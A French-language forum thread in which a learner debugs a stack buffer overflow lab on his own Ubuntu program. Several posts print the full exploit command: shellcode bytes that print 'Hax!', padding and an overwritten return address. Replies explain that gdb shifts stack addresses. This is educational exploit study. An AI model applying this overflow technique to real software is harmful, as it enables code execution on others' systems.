demande de détail sur la sortie de mon buffer overflow
|
29-03-2016, 16h03
(Modification du message : 29-03-2016, 16h05 par Athar.)
Message : #1
|
|
Athar
Newbie Messages : 7 Sujets : 2 Points: 0 Inscription : May 2013 |
demande de détail sur la sortie de mon buffer overflow
Bonjour j'étudie les buffer overflow et création de shellcode sur mon ubuntu 14.04 lts x86_64.
Je comprends les principes de la stack. Voilà j'ai un tutoriel qu je suis actuellement, mais j'ai deux sortie différentes , l'un sous gdb , l'autre depuis un terminal classique. Le but étant d'affiche le string du shellcode, " Hax! " ASLR est à 0 Compilation:gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g Je prend l'habitude de revérifié si la pile est exécutable (-zexecstack) par un Code : root@krihna:/home/krihna/buffer# execstack -q oldskool Sous GDB: Code : (gdb) r $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"') Sous un terminal en root, j'obtiens une erreur, que je n'arrive pas à "gérer". Code : root@krihna:/home/krihna/buffer# ./oldskool `python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"'` et Non-root: Code : krihna@krihna:~/buffer$ Starting program: /home/krihna/buffer/oldskool $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"') J'ai aussi essayé de modifié le padding (si c'est bien le bon terme)"A"*27. Si quelqu'un pouvais me mettre sur une piste. Merci à vous. |
|
29-03-2016, 17h08
(Modification du message : 29-03-2016, 17h12 par Athar.)
Message : #2
|
|
Athar
Newbie Messages : 7 Sujets : 2 Points: 0 Inscription : May 2013 |
RE: demande de détail sur la sortie de mon buffer overflow
https://wiki.ubuntu.com/Security/Features
En faite je pense que c'est normal, passe sous gdb, mais pas en mode normalement. C'est ubuntu qui bloque par sécurité le lancement du prog. Je veut dire par là, que c'est la méthode d'exploitation(très classique)qui pose problème. |
|
29-03-2016, 18h36
Message : #3
|
|
supersnail
Éleveur d'ornithorynques Messages : 1,614 Sujets : 72 Points: 466 Inscription : Jan 2012 |
RE: demande de détail sur la sortie de mon buffer overflow
Sinon ça peut être les adresses sur la stack faussées par gdb (qui rajoute ses propres variables d'environnement, provoquant un décalage dans les adresses), ou tout bêtement l'ASLR qui est laissé activé
Mon blog
Code : push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp "VIM est merveilleux" © supersnail |
|
29-03-2016, 19h27
Message : #4
|
|
Athar
Newbie Messages : 7 Sujets : 2 Points: 0 Inscription : May 2013 |
RE: demande de détail sur la sortie de mon buffer overflow
Merci pour cette réponse.
ALSR est bien désactivé. Je penché aussi sur ta premier proposition, je pense que la variable est réutilisé, ce qui fausse la sortie. J'ai l'idée de passé tout ça sous gdb, et en sortir un petit tutoriel. |
|
30-03-2016, 11h35
(Modification du message : 30-03-2016, 11h35 par gruik.)
Message : #5
|
|
gruik
gouteur de savon Messages : 757 Sujets : 44 Points: 482 Inscription : Oct 2012 |
RE: demande de détail sur la sortie de mon buffer overflow
salut,
Code : root@krihna:/home/krihna/buffer# ./oldskool `python -c ...`
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure. Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément. (Nicolas Boileau, L'Art poétique) |
|
30-03-2016, 16h20
Message : #6
|
|
Athar
Newbie Messages : 7 Sujets : 2 Points: 0 Inscription : May 2013 |
RE: demande de détail sur la sortie de mon buffer overflow
(30-03-2016, 11h35)gruik a écrit : salut, Merci pour cette information fort utile pour ma part. Fonctionne sous GDB. terminal root: Code : root@krihna:/home/krihna/buffer# /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"') et en non-root, j'ai du modifié le padding à "A" *13 Code : krihna@krihna:~/buffer$ /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*13 +"\xf0\xe3\xff\xff\xff\x7f"') Merci encore à toi pour cette astuce. Je vais essayé de comprendre le pourquoi du comment de tout ça, surtout sur ta méthode. |
|
« Sujet précédent | Sujet suivant »
|
Utilisateur(s) parcourant ce sujet : 1 visiteur(s)